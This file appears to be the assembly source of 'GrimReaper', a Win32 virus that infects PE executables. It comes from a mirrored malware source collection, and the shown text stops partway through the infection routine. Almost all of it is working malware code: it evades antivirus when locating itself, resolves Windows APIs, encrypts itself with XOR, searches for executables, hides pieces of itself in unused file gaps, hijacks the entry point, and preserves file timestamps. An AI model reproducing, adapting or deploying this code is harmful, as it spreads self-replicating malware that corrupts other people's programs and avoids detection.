mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1288 lines
32 KiB
NASM
1288 lines
32 KiB
NASM
; The first F5G virus : "GrimReaper"
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; Author: Ripper (Fuckup5Group)
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; Website: fuckup5group.hypermart.net
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; Begin: aprox. 12/18/00
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; Used assembler: TASM 5.0
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;
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; Editor info: use a editor where one tab sign is equal to 3 spaces
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; else it will be nearly unreadable
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;
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; Changes:
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; v4.4 PRE-ALPHA (released 06/04/01):
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; - documentation added (06/03/01)
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; - the virus got a name ;) (06/03/01)
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; - added 80h to the delta handle ebp to reduce virus size:
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; the size shrunk by >>>169 BYTES<<< to 2461 bytes !!!
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; that is under the 2474 bytes of v3.0 which didn't have virsections or
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; encryption :D
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; v4.3 PRE-ALPHA (released 05/18/01):
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; - it's the first release with this header, so I'm unable to tell you any
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; changes to prior releases
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; - the virus has a size of 2630 bytes
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;
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; Virus size and bait size addition history:
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; (with bait size addition I mean the growth of a bait file after infection.
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; the first bait file is a minimal programm written in asm just calling
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; MessageBoxA and ExitProcess so that there is a lot of unused space in it.
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; the second bait file is the same written in cpp with as good as no unused
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; space (even debug infos are included))
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;
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; v?.?-1.3 unknown (no backups, overwritten)
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; v1.4 = 2386 bytes + 5632 bytes + 6297 bytes (nothing! just infection)
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; v1.5 = 2270 bytes + 5632 bytes + 6297 bytes
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;
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; v2.0-3 unknown (no backups, overwritten)
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; v2.4 = 2577 bytes + 6144 bytes + 6809 bytes (no unused, but encrypt)
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; (very interesting values! seems to be a big bug I didn't recognize that time)
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; (oh, I've got it: I added the virus behind fileoffset + virtual size of the
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; last section instead of fileoffset + raw size! so it's clear that it has to
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; be a little bit bigger than it should be)
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;
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; v3.0 = 2474 bytes + 1536 bytes + 2713 bytes (no virsecs,no encrypt)
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; v3.1 = 3095 bytes + 1536 bytes + 2713 bytes (no encryption)
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;
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; v4.0 = 3330 bytes + 1536 bytes + 2713 bytes
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; v4.1 = 2916 bytes + 1024 bytes + 2201 bytes
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; v4.2 = 2904 bytes + 1024 bytes + 1689 bytes (added 1 virsection)
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; v4.3 = 2630 bytes + 512 bytes + 1689 bytes
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; v4.4 = 2461 bytes + 512 bytes + 1689 bytes
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;
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;
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; Todo:
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; - I'm going to try to use the free space between the data directory and the
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; first section. This should bring me to the long awaited + 0 bytes in the
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; first bait size addition column if it doesn't take to much code...
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; - still a payload is needed
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; - perhaps something polymorphic but I don't think this will come into this
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; virus
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; - another infection check cause the "GR" in the MZ header is too easy too
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; discover
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;
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; THIS IS A PRE-RELEASE VERSION!!!! USE AT OWN RISK!!!
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; >YOU< ARE RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS PROGRAMM!!!
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;
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; When assembling, don't forget to make the codesegment writable
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; (set the dword at offset 0000021C to C0000040)
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.386p
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.model flat
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extrn ExitProcess:PROC
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extrn GetModuleHandleA:PROC
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.data
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db 0
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.code
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start:
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; get delta handle without making avps paying attention to it
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call GetDeltaHandle2
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GetDeltaHandle:
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mov ecx,offset section1end-cryptstart
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sub ebp,offset GetDeltaHandle-offset start-80h
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cmp ebp,offset start+80h
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je cryptstart ; first generation ?
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lea edi,[ebp+offset cryptstart-offset start-80h] ; no -> decrypt
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mov eax,[ebp+offset randomkey-offset start-80h]
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call crypt
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jmp cryptstart
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GetDeltaHandle2:
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mov ebp,esp ; pretend to be a normal function
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lea esi,[ebp+4]
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mov ebp,[esi-4] ; get offset of GetDeltaHandle
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ret
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; crypt routine
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;
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; eax = Encryption key
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; edi = ptr to data to be en- or decrypted
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; ecx = size of data to be en- or decrypted
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crypt:
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rol eax,17
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sub ecx,4
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crypt32loop:
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xor dword ptr [edi],eax
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add eax,001010101h
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ror eax,3
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add edi,4
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sub ecx,4
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jns crypt32loop
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add ecx,4
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je cryptdone
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crypt8loop:
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xor byte ptr [edi],al
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shr eax,8
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inc edi
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dec ecx
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jne crypt8loop
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cryptdone:
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ret
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randomkey dd 0
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cryptstart: ; here starts the encryption
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jmp RealStart
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imagebase dd 0400000h
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mapaddress dd 0
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filehandle dd 0
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; information about the virus pieces in the file are stored here
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SECTIONNUM = 4
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firstoffset dd 0 ;offset section1end
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firstsize dd 0 ;(offset end-offset section1end)
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firstdelta dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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dd 0
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; other stuff (sorted "by how often" it is used [excellent english,isn't it?])
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oldip dd 0
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PEheader dd 0
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maxsize dd 0
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oldrawsize dd 0
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add2imagesize dd 0
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delta dd 0
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infectionflag dw 0
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unusedsize dd 0
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vxmemptr dd 0
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kernel32 dd 0
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limit dd 0
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AddFunc dd 0
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AddName dd 0
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AddOrd dd 0
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Nindex dd 0
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filealign dd 0
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fileofs dd 0
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fileattributes dd 0
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ftcreation dq 0 ; file times
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ftlastwrite dq 0
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ftlastaccess dq 0
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newfilesize dd 0
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memory dd 0
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maphandle dd 0
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sectionalign dd 0
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newip dd 0
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maxoffset dd 0
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gmhptr dd 0
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gmh db "GetModuleHandleA",0
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gmhsize = $ - gmh
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k32 db "KERNEL32.DLL",0
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; The api functions
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FirstKERNELAPIName:
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AExitProcess db "ExitProcess",0
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AGetProcAddress db "GetProcAddress",0
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ALoadLibrary db "LoadLibraryA",0
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AFreeLibrary db "FreeLibrary",0
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;AGetWindowsDirectory db "GetWindowsDirectoryA",0
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;AGetSystemDirectory db "GetSystemDirectoryA",0
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;AGetCurrentDirectory db "GetCurrentDirectoryA",0
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;ASetCurrentDirectory db "SetCurrentDirectoryA",0
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AFindFirstFile db "FindFirstFileA",0
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AFindNextFile db "FindNextFileA",0
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AGetFileAttributes db "GetFileAttributesA",0
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ASetFileAttributes db "SetFileAttributesA",0
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ACreateFile db "CreateFileA",0
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AGetFileTime db "GetFileTime",0
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;AGetFileSize db "GetFileSize",0
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ACreateFileMapping db "CreateFileMappingA",0
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AMapViewOfFile db "MapViewOfFile",0
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AUnmapViewOfFile db "UnmapViewOfFile",0
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ACloseHandle db "CloseHandle",0
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ASetFilePointer db "SetFilePointer",0
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ASetEndOfFile db "SetEndOfFile",0
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ASetFileTime db "SetFileTime",0
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AGlobalAlloc db "GlobalAlloc",0
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AGlobalFree db "GlobalFree",0
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db 0
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FirstUSER32APIName:
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AMessageBox db "MessageBoxA",0
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db 0
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FirstKERNELAPIAddress:
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AExitProcessA dd 0
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AGetProcAddressA dd 0
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ALoadLibraryA dd 0
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AFreeLibraryA dd 0
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;AGetWindowsDirectoryA dd 0
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;AGetSystemDirectoryA dd 0
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;AGetCurrentDirectoryA dd 0
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;ASetCurrentDirectoryA dd 0
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AFindFirstFileA dd 0
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AFindNextFileA dd 0
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AGetFileAttributesA dd 0
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ASetFileAttributesA dd 0
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ACreateFileA dd 0
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AGetFileTimeA dd 0
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;AGetFileSizeA dd 0
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ACreateFileMappingA dd 0
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AMapViewOfFileA dd 0
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AUnmapViewOfFileA dd 0
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ACloseHandleA dd 0
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ASetFilePointerA dd 0
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ASetEndOfFileA dd 0
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ASetFileTimeA dd 0
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AGlobalAllocA dd 0
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AGlobalFreeA dd 0
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FirstUSER32APIAddress:
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AMessageBoxA dd 0
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FirstLibName:
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usr32 db "USER32.DLL",0
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FirstLibAddress:
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user32 dd ?
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infections dd 0
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exestr db "tester*.exe",0 ; the file filter
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; win32_find_data structure
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max_path = 260
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filetime STRUC
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FT_dwLowDateTime DD ?
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FT_dwHighDateTime DD ?
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filetime ENDS
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win32_find_data STRUC
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FileAttributes DD ?
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CreationTime filetime ?
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LastAccessTime filetime ?
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LastWriteTime filetime ?
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FileSizeHigh DD ?
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FileSizeLow DD ?
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Reserved0 DD ?
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Reserved1 DD ?
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FileName DB max_path DUP (?)
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AlternateFileName DB 13 DUP (?)
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DB 3 DUP (?)
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win32_find_data ENDS
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searchptr dd 0 ; pointer to the search struct
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viruslen = end-start
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;MsgTitle db "You are getting infected!",0
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;MsgText db "This is MY message box!",0
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RealStart:
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;
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; Check my surroundings
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;
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mov esi,[ebp+offset imagebase-offset start-80h]
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cmp word ptr [esi],'ZM' ; is "MZ"?
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jne getouttahere
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add esi,03ch ; pointer to new header addr
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mov esi,[esi] ; get new header address
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add esi,[ebp+offset imagebase-offset start-80h] ; align it
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cmp word ptr [esi],'EP' ; is "PE"?
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jne getouttahere
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cmp ebp,offset start+80h
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jne notfirstgen
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; tasm gives an error when writen so :
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; lea eax,[ebp+offset GetModuleHandleA-offset start-80h]
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lea eax,[ebp+offset GetModuleHandleA-00401000h-80h]
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jmp callit
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notfirstgen:
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mov eax,[ebp+offset gmhptr-offset start-80h];get address of GetModuleHandle
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mov eax,[eax]
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or eax,eax
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je getouttahere ; is NULL ? -> fuck you!
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callit:
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lea edx,[ebp+offset k32-offset start-80h] ; get module handle of KERNEL32
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push edx
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call eax
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or eax,eax
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jne found
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mov eax,0bff70000h ; couldn't get it? -> hardcode address
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found:
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mov [ebp+offset kernel32-offset start-80h],eax ; check if it's really a PE
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mov edi,eax
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cmp word ptr [edi],'ZM'
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jne getouttahere
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mov edi,[edi+03ch]
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add edi,eax
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cmp word ptr [edi],'EP'
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jne getouttahere
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pushad ; ok it "should be" KERNEL32
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mov edx,eax ; ptr to kernel32
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mov esi,[edi+078h] ; get ptr to export directory
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lea edi,[ebp+offset limit-offset start-80h]
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lea esi,[esi+edx+18h] ; point to num. of names
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movsd ; get it
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lodsd ;
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add eax,edx ;
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stosd ; get ptr to funcofslist:AddFunc
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lodsd
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add eax,edx
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stosd ; get ptr to nameofslist:AddName
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lodsd
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add eax,edx
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stosd ; get ptr to nameordlist:AddOrd
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mov eax,[ebp+offset AddName-offset start-80h]; get first pointer to a name
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stosd ; save it into Nindex
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; search for GetProcAddress so that the other api functions
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; can be found with that function
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mov edi,[eax]
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add edi,edx
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xor ecx,ecx
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lea ebx,[ebp+offset AGetProcAddress-offset start-80h]
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; find name in name list
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tryagain:
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mov esi,ebx
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matchbyte:
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cmpsb
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jne nextone
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cmp byte ptr [edi],0
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je gotit
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jmp matchbyte
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nextone:
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inc ecx
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cmp ecx,dword ptr [ebp+offset limit-offset start-80h]
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jge getouttahere
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add dword ptr [ebp+offset Nindex-offset start-80h],4 ; get next pointer rva
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mov esi,[ebp+offset Nindex-offset start-80h]
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mov edi,[esi]
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add edi,edx
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jmp tryagain
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; name found -> get function entry point
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gotit:
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lea ebx,[esi+1]
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add ecx,ecx
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mov esi,[ebp+offset AddOrd-offset start-80h]
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add esi,ecx
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xor eax,eax
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mov ax,word ptr [esi]
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shl eax,2
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mov esi,[ebp+offset AddFunc-offset start-80h]
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add esi,eax
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mov edi,dword ptr [esi]
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add edi,edx
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mov [ebp+offset AGetProcAddressA-offset start-80h],edi
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popad
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; get other KERNEL32 api functions' addresses
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lea edi,[ebp+offset FirstKERNELAPIName-offset start-80h]
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lea esi,[ebp+offset FirstKERNELAPIAddress-offset start-80h]
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mov ebx,[ebp+offset kernel32-offset start-80h]
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call GetAPIFuncs
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or eax,eax
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jne getouttahere
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; use LoadLibrary to load USER32 for the MessageBox funcion
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lea eax,[ebp+offset usr32-offset start-80h]
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push eax
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mov eax,[ebp+offset ALoadLibraryA-offset start-80h]
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call eax
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or eax,eax
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je getouttahere
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mov [ebp+offset user32-offset start-80h],eax
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; get needed USER32 api functions
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lea edi,[ebp+offset FirstUSER32APIName-offset start-80h]
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lea esi,[ebp+offset FirstUSER32APIAddress-offset start-80h]
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mov ebx,[ebp+offset user32-offset start-80h]
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call GetAPIFuncs
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or eax,eax
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jne getouttahere2
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; this "payload" was commented out to reduce needed diskspace ;)
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; it will be changed soon (like making it dependent on the number of
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; infections being made yet on this computer or something like this...)
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; push 0
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; lea ecx,[ebp+offset MsgTitle-offset start-80h]
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; push ecx
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; lea ecx,[ebp+offset MsgText-offset start-80h]
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; push ecx
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; push 0
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; mov eax,[ebp+offset AMessageBoxA-offset start-80h]
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; call eax
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cmp ebp,offset start+80h
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je nosecinit ; first generation ?
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; no -> put virus pieces together again
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call InitOtherVxSecs
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; infect directories
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mov eax,[ebp+offset vxmemptr-offset start-80h]
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add eax,offset Infect_directories-offset start
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call eax
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; and free up the memory space needed by the pieces
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push dword ptr [ebp+offset vxmemptr-offset start-80h]
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mov eax,[ebp+offset AGlobalFreeA-offset start-80h]
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call eax
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jmp getouttahere2
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nosecinit: ; yes -> no sections -> just call it
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call Infect_directories
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getouttahere2:
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push dword ptr [ebp+offset user32-offset start-80h]
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mov eax,[ebp+offset AFreeLibraryA-offset start-80h]
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call eax
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getouttahere:
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cmp ebp,offset start+80h
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je exitnow ; first generation ?
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mov eax,[ebp+offset oldip-offset start-80h] ; no -> call old entry point
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add eax,[ebp+offset imagebase-offset start-80h]
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jmp eax
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exitnow: ; yes -> exit programm
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push 0
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mov eax,[ebp+offset AExitProcessA-offset start-80h]
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call eax
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; api function address "getter"
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;
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; ebx = library handle
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; edi = address of first API name
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; esi = address of first receiving API address
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GetAPIFuncs:
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push ecx
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push edx
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nextAPIFunc:
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push edi
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push ebx
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mov eax,[ebp+offset AGetProcAddressA-offset start-80h]
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call eax
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or eax,eax
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je GAFerror
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mov [esi],eax
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add esi,4
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xor eax,eax
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mov ecx,128
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repnz scasb ; go to next name
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cmp byte ptr [edi],0 ; was it the last one?
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jne nextAPIFunc
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pop edx
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pop ecx
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ret
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GAFerror:
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inc eax
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pop edx
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pop ecx
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ret
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|
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; function to put the pieces of the virus distributed all over in the executable
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; into one piece, so that it can be executed
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InitOtherVxSecs:
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; allocate memory where the pieces can be put together
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push viruslen
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push 0
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mov eax,[ebp+offset AGlobalAllocA-offset start-80h]
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call eax
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or eax,eax ; Could I allocate needed memory?
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je getouttahere2 ; No -> rrrrrrrrausssssss
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mov [ebp+offset vxmemptr-offset start-80h],eax
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|
; copy first section into that space
|
|
|
|
mov edi,eax
|
|
lea esi,[ebp+offset start-offset start-80h]
|
|
mov ecx,offset section1end-offset start
|
|
rep movsb
|
|
|
|
; go through section list, copy the pieces into the memory space
|
|
; and decrypt it
|
|
|
|
lea edx,[ebp+offset firstoffset-offset start-80h]
|
|
xor eax,eax
|
|
nextsec:
|
|
mov esi,[edx] ; address of section
|
|
or esi,esi
|
|
je allsecscopied
|
|
mov ecx,[edx+4] ; length of section
|
|
rep movsb ; copy it
|
|
|
|
mov ecx,[edx+4]
|
|
sub edi,ecx
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
call crypt ; decrypt it
|
|
|
|
; mov ebx,edi
|
|
; mov edi,[edx]
|
|
; mov ecx,[edx+4]
|
|
; rep stosb ; clear used file sections
|
|
; mov edi,ebx ; doesn't work: some are write protected!
|
|
; add edx,8
|
|
|
|
add edx,12 ; go to next section
|
|
jmp nextsec
|
|
|
|
allsecscopied:
|
|
ret ; done
|
|
|
|
section1end:
|
|
|
|
; here ends the first section which is ALWAYS in one piece appended
|
|
; to the last filesection. the following code will be put depending of the
|
|
; victim into totally different pieces. so this will be fully executed in
|
|
; the allocated memory except in case it's the first generation...
|
|
|
|
Infect_directories:
|
|
push ebp
|
|
call GetDeltaHandle2 ; get new delta handle
|
|
GetDeltaHandle3:
|
|
sub ebp,offset GetDeltaHandle3-offset start-80h
|
|
|
|
; allocate memory for the search structure
|
|
|
|
push 320
|
|
push 0
|
|
mov eax,[ebp+offset AGlobalAllocA-offset start-80h]
|
|
call eax
|
|
or eax,eax
|
|
je memerror
|
|
mov [ebp+offset searchptr-offset start-80h],eax
|
|
|
|
; infect ONE file in the current directory
|
|
|
|
mov dword ptr [ebp+offset infections-offset start-80h],1
|
|
call infect_current_dir
|
|
|
|
; free search struct memory
|
|
|
|
push dword ptr [ebp+offset searchptr-offset start-80h]
|
|
mov eax,[ebp+offset AGlobalFreeA-offset start-80h]
|
|
call eax
|
|
|
|
memerror:
|
|
pop ebp
|
|
ret
|
|
|
|
; search for <infections> file with <exestr> filter in current directory
|
|
; and infect it
|
|
|
|
infect_current_dir:
|
|
mov edi,[ebp+offset searchptr-offset start-80h]
|
|
push edi
|
|
lea eax,[ebp+offset exestr-offset start-80h]
|
|
push eax
|
|
mov eax,[ebp+offset AFindFirstFileA-offset start-80h]
|
|
call eax
|
|
inc eax
|
|
jz no_files
|
|
dec eax
|
|
push eax
|
|
|
|
TryInfection:
|
|
lea esi,[edi.FileName]
|
|
mov ecx,[edi.FileSizeLow]
|
|
call Infect_File ; GO GO GO!!!
|
|
jc Another_file
|
|
dec dword ptr [ebp+offset infections-offset start-80h]
|
|
je All_done
|
|
|
|
Another_file:
|
|
push edi ; delete old filename
|
|
lea edi,[edi.FileName]
|
|
mov ecx,13
|
|
xor al,al
|
|
rep stosb
|
|
pop edi
|
|
pop eax
|
|
push eax
|
|
push edi
|
|
push eax
|
|
mov eax,[ebp+offset AFindNextFileA-offset start-80h] ; get next filename
|
|
call eax
|
|
or eax,eax
|
|
jne TryInfection
|
|
|
|
All_done:
|
|
pop eax
|
|
no_files:
|
|
ret
|
|
|
|
; this is the main infection routine
|
|
|
|
Infect_File:
|
|
pushad
|
|
|
|
mov dword ptr [ebp+newfilesize-offset start-80h],ecx
|
|
mov word ptr [ebp+infectionflag-offset start-80h],0
|
|
add ecx,viruslen+1000h ; some extra work space
|
|
mov [ebp+offset memory-offset start-80h],ecx
|
|
|
|
; backup fileattributes and set them to normal because of possible write
|
|
; protection etc.
|
|
|
|
mov [ebp+offset fileofs-offset start-80h],esi ; pointer to filename
|
|
push esi
|
|
mov eax,[ebp+AGetFileAttributesA-offset start-80h]
|
|
call eax
|
|
or eax,eax
|
|
mov [ebp+fileattributes-offset start-80h],eax ; backup attributes
|
|
|
|
push 80h
|
|
push esi
|
|
mov eax,[ebp+offset ASetFileAttributesA-offset start-80h]
|
|
call eax
|
|
|
|
; open the victim
|
|
|
|
push 0 ; file template
|
|
push 0 ; file attributes
|
|
push 3 ; open existing file
|
|
push 0 ; security option = default
|
|
push 1 ; file share for read
|
|
push 0c0000000h ; general write and read
|
|
push esi ; filename
|
|
mov eax,[ebp+offset ACreateFileA-offset start-80h]
|
|
call eax
|
|
|
|
mov [ebp+offset filehandle-offset start-80h],eax
|
|
cmp eax,-1
|
|
je infection_error
|
|
|
|
; save old filetimes
|
|
|
|
lea ebx,[ebp+offset ftcreation-offset start-80h]
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
push eax
|
|
mov ebx,[ebp+AGetFileTimeA-offset start-80h]
|
|
call ebx
|
|
|
|
; create a mapping of the file
|
|
|
|
push 0 ; filename handle=NULL
|
|
push dword ptr [ebp+offset memory-offset start-80h] ; max size
|
|
push 0 ; min size
|
|
push 4 ; page read & write
|
|
push 0 ; security attrs
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+offset ACreateFileMappingA-offset start-80h]
|
|
call eax
|
|
|
|
mov [ebp+offset maphandle-offset start-80h],eax
|
|
or eax,eax
|
|
je close_file
|
|
|
|
; map a view of the file into memory
|
|
|
|
push dword ptr [ebp+offset memory-offset start-80h]; bytes to map
|
|
push 0 ; low file offset
|
|
push 0 ; hight file offset
|
|
push 2 ; file map read/write mode
|
|
push eax ; file map handle
|
|
mov eax,[ebp+offset AMapViewOfFileA-offset start-80h]
|
|
call eax
|
|
|
|
or eax,eax
|
|
je close_map
|
|
mov esi,eax
|
|
mov [ebp+offset mapaddress-offset start-80h],esi
|
|
|
|
; check if it's a PE and if it's already infected
|
|
|
|
cmp word ptr [esi],'ZM'
|
|
jne Unmap_view
|
|
cmp word ptr [esi+38h],'RG' ; very cheap
|
|
jne ok_go
|
|
dec word ptr [ebp+infectionflag-offset start-80h]
|
|
jmp Unmap_view
|
|
|
|
ok_go:
|
|
mov ebx,dword ptr [esi+03ch]
|
|
add esi,ebx ; esi points now to pehead
|
|
cmp word ptr [esi],'EP'
|
|
jne Unmap_view
|
|
|
|
lea edi,[ebp+offset firstoffset-offset start-80h] ; reset virsection data
|
|
mov ecx,10
|
|
xor eax,eax
|
|
rep stosd
|
|
mov dword ptr [ebp+offset firstoffset-offset start-80h+12*(SECTIONNUM-1)],1
|
|
|
|
mov [ebp+offset PEheader-offset start-80h],esi
|
|
mov eax,[esi+28h]
|
|
push dword ptr [ebp+offset oldip-offset start-80h] ; save own oldip
|
|
mov [ebp+offset oldip-offset start-80h],eax
|
|
|
|
push dword ptr [ebp+offset imagebase-offset start-80h] ; save own imagebase
|
|
mov eax,[esi+34h]
|
|
mov [ebp+offset imagebase-offset start-80h],eax
|
|
|
|
mov eax,[esi+38h]
|
|
mov [ebp+offset sectionalign-offset start-80h],eax
|
|
|
|
mov eax,[esi+3ch]
|
|
mov [ebp+offset filealign-offset start-80h],eax
|
|
|
|
xor ecx,ecx
|
|
mov dword ptr [ebp+offset add2imagesize-offset start-80h],ecx
|
|
|
|
;
|
|
; Check import dir for GetModuleHandle
|
|
;
|
|
|
|
mov edx,[esi+84h] ; imp dir size
|
|
mov edi,[esi+80h] ; imp dir addr
|
|
|
|
; search for import directory in the victim file
|
|
|
|
mov cx,[esi+6] ; num of secs
|
|
mov eax,[esi+74h] ; num of dir entries
|
|
shl eax,3
|
|
add esi,78h
|
|
add esi,eax
|
|
|
|
; search for a section where is
|
|
; virtualaddr<=impdiraddr && virtualaddr+size>=impdiraddr+impdirsize
|
|
|
|
nextsecchk:
|
|
mov eax,[esi+0ch] ; virtual address
|
|
cmp eax,edi
|
|
jbe firstcondok
|
|
notok:
|
|
add esi,28h
|
|
dec ecx
|
|
je didntfoundit
|
|
jmp nextsecchk
|
|
firstcondok:
|
|
add eax,[esi+10h] ; size of raw data
|
|
cmp eax,edi
|
|
jna notok
|
|
|
|
; calculate fileoffset of import directory
|
|
|
|
mov ecx,[ebp+offset mapaddress-offset start-80h]
|
|
add ecx,[esi+14h]
|
|
sub ecx,[esi+0ch]
|
|
add edi,ecx
|
|
|
|
mov esi,edi ; ptr to begin of imp dir
|
|
mov ebx,edx ; backup imp dir size
|
|
add edx,esi ; ptr to end of imp dir
|
|
|
|
; search for KERNEL32 imports
|
|
|
|
nextimpdirentry:
|
|
mov eax,[esi+0ch]
|
|
add eax,ecx
|
|
cmp dword ptr [eax],'NREK'
|
|
je foundit
|
|
add esi,014h
|
|
cmp esi,edx
|
|
jl nextimpdirentry
|
|
jmp didntfoundit
|
|
|
|
foundit:
|
|
mov esi,[esi+10h] ; use RVAFuncionAddressList instead of NameList
|
|
or esi,esi
|
|
je didntfoundit
|
|
|
|
add esi,ecx
|
|
mov edx,esi
|
|
mov eax,ebx
|
|
|
|
; search for the GetModuleFunction function
|
|
|
|
lookloop:
|
|
cmp dword ptr [edx],0
|
|
je didntfoundit
|
|
cmp byte ptr [edx+3],80h
|
|
je nothere
|
|
mov esi,[edx]
|
|
push ecx
|
|
add esi,ecx
|
|
add esi,2
|
|
lea edi,[ebp+offset gmh-offset start-80h]
|
|
mov ecx,gmhsize
|
|
rep cmpsb
|
|
pop ecx
|
|
je foundgmh
|
|
|
|
nothere:
|
|
add edx,4
|
|
dec eax
|
|
jne lookloop
|
|
|
|
didntfoundit: ; not found -> infection impossible
|
|
pop dword ptr [ebp+offset imagebase-offset start-80h]
|
|
pop dword ptr [ebp+offset oldip-offset start-80h]
|
|
jmp Unmap_view
|
|
|
|
foundgmh:
|
|
|
|
; store its address in gmhptr
|
|
|
|
add edx,[ebp+offset imagebase-offset start-80h]
|
|
sub edx,ecx
|
|
mov [ebp+offset gmhptr-offset start-80h],edx
|
|
|
|
mov esi,[ebp+offset PEheader-offset start-80h]
|
|
|
|
;
|
|
; calculate how the virus should be put into the victim
|
|
;
|
|
|
|
; calculate file offset of last section
|
|
|
|
mov ebx,[esi+74h] ; num of dir entries(each 8 byte)
|
|
shl ebx,3
|
|
xor eax,eax
|
|
mov ax,word ptr [esi+6h] ; num of sections(each 28 byte)
|
|
dec eax
|
|
mov ecx,28h
|
|
mul ecx
|
|
add esi,78h ; dir table offset
|
|
add esi,ebx
|
|
add esi,eax ; esi is now pointing at last sections offset
|
|
|
|
or dword ptr [esi+24h],0a0000020h ; set sec flags for code,exec,write
|
|
mov ecx,[esi+10h] ; raw data size
|
|
mov [ebp+offset oldrawsize-offset start-80h],ecx
|
|
|
|
; count number of unused bytes(00 bytes) in the last section
|
|
|
|
mov edi,[esi+14h] ; raw data fileoffset
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
add edi,ecx
|
|
dec edi ; edi -> last byte of last section
|
|
std
|
|
xor eax,eax
|
|
repz scasb
|
|
cld
|
|
mov eax,[ebp+offset oldrawsize-offset start-80h]
|
|
dec eax
|
|
sub eax,ecx
|
|
mov [ebp+offset unusedsize-offset start-80h],eax
|
|
|
|
mov ebx,viruslen
|
|
cmp eax,ebx ; is enough room in unused raw data ?
|
|
jae vxinraw
|
|
|
|
sub ebx,eax ; no, calc rest needed
|
|
|
|
cmp eax,offset section1end-offset start
|
|
jae sec1inraw ; is enough room for sec1 in unused raw data ?
|
|
|
|
neg eax ; no, add rest of sec1 to last sec (only size)
|
|
add eax,offset section1end-offset start
|
|
add [esi+10h],eax
|
|
sub ebx,eax ; ebx is the rest needed
|
|
|
|
sec1inraw:
|
|
|
|
; search for unused space in all file sections and store infos about 'em
|
|
|
|
lea edx,[ebp+offset firstoffset-offset start-80h]
|
|
|
|
whatsyouwantloop:
|
|
call GetBiggestUnusedSpace
|
|
|
|
mov [edx],edi
|
|
mov [edx+4],ecx
|
|
mov [edx+8],eax
|
|
|
|
cmp ebx,ecx
|
|
ja ineedmore
|
|
|
|
mov [edx+4],ebx ; set last size to ebx
|
|
jmp imsatisfied
|
|
|
|
ineedmore:
|
|
sub ebx,ecx
|
|
|
|
add edi,ecx
|
|
add edx,12
|
|
mov byte ptr [edi-1],1 ; mark as used
|
|
cmp dword ptr [edx],1
|
|
jne whatsyouwantloop
|
|
|
|
ineedmore2:
|
|
|
|
; the remaining rest will be added to the last section after the first
|
|
; virus section
|
|
|
|
mov edi,[esi+14h] ; fileoffset
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
add edi,[esi+10h] ; raw size
|
|
mov [edx],edi ; virsec offset
|
|
|
|
mov [edx+4],ebx ; virsec size = rest
|
|
|
|
; calculate delta value between virsec offset in virmem(mapaddress) and
|
|
; the one in executed memory(imagebase)
|
|
|
|
mov eax,[esi+0ch] ; virtual addr
|
|
sub eax,[esi+14h] ; fileoffset
|
|
sub eax,[ebp+offset mapaddress-offset start-80h]
|
|
add eax,[ebp+offset imagebase-offset start-80h]
|
|
mov [edx+8],eax ; virsec delta
|
|
|
|
add [esi+10h],ebx ; add rest to raw size
|
|
mov eax,[esi+10h]
|
|
|
|
imsatisfied:
|
|
|
|
; align raw data size to filealign
|
|
|
|
xor edx,edx
|
|
mov ecx,[ebp+offset filealign-offset start-80h]
|
|
div ecx
|
|
sub ecx,edx
|
|
add [esi+10h],ecx
|
|
mov eax,[esi+10h]
|
|
|
|
cmp eax,[esi+8h] ; raw data bigger than virtual size ?
|
|
jbe rawinvirtual
|
|
|
|
mov [esi+8h],eax ; yes -> set it to raw size
|
|
|
|
; Align virtual size to sectionalign
|
|
|
|
mov ecx,[ebp+offset sectionalign-offset start-80h]
|
|
div ecx
|
|
sub ecx,edx
|
|
add [esi+8h],ecx
|
|
mov [ebp+offset add2imagesize-offset start-80h],ecx
|
|
|
|
vxinraw:
|
|
rawinvirtual:
|
|
|
|
; calculate the new entry point for the victim
|
|
|
|
mov eax,[esi+0ch] ; virtual address
|
|
add eax,[ebp+offset oldrawsize-offset start-80h]
|
|
sub eax,[ebp+offset unusedsize-offset start-80h] ; sub unused raw data size
|
|
mov [ebp+offset newip-offset start-80h],eax
|
|
|
|
; calculate the new size of the file
|
|
|
|
mov eax,[esi+14h] ; file offset of rawdata
|
|
add eax,[esi+10h] ; add new raw data size
|
|
mov [ebp+offset newfilesize-offset start-80h],eax
|
|
|
|
; calculate random key
|
|
|
|
call random32
|
|
push dword ptr [ebp+offset randomkey-offset start-80h] ; save own random key
|
|
mov dword ptr [ebp+offset randomkey-offset start-80h],eax
|
|
|
|
;
|
|
; copy the virus into the victim
|
|
;
|
|
|
|
; copy section 2 into calced pieces
|
|
|
|
push esi
|
|
|
|
lea esi,[ebp+offset section1end-offset start-80h]
|
|
lea edx,[ebp+offset firstoffset-offset start-80h]
|
|
|
|
copynextpcs:
|
|
mov edi,[edx] ; virsec offset
|
|
or edi,edi
|
|
je notapiece
|
|
mov ecx,[edx+4] ; virsec size
|
|
rep movsb ; copy it
|
|
|
|
mov edi,[edx]
|
|
mov ecx,[edx+4]
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
call crypt ; encrypt it
|
|
|
|
mov eax,[edx+8] ; virsec delta
|
|
add [edx],eax ; change offset
|
|
add edx,12 ; go to next virsec
|
|
jmp copynextpcs
|
|
|
|
notapiece:
|
|
pop esi
|
|
|
|
; calculate virus destination address
|
|
|
|
; mov edi,[esi+14h] ; file offset of rawdata
|
|
; add edi,[ebp+offset oldrawsize-offset start-80h]
|
|
; sub edi,[ebp+offset unusedsize-offset start-80h]
|
|
; add edi,[ebp+offset mapaddress-offset start-80h]
|
|
|
|
mov edi,[ebp+offset newip-offset start-80h]
|
|
sub edi,[esi+0ch] ; virtual address
|
|
add edi,[esi+14h] ; file offset of rawdata
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
|
|
; copy first virus section
|
|
|
|
lea esi,[ebp+offset start-offset start-80h]
|
|
push edi
|
|
mov ecx,offset section1end-offset start
|
|
rep movsb
|
|
|
|
pop edi
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
add edi,offset cryptstart-offset start
|
|
|
|
pop dword ptr [ebp+offset randomkey-offset start-80h] ; restore stuff
|
|
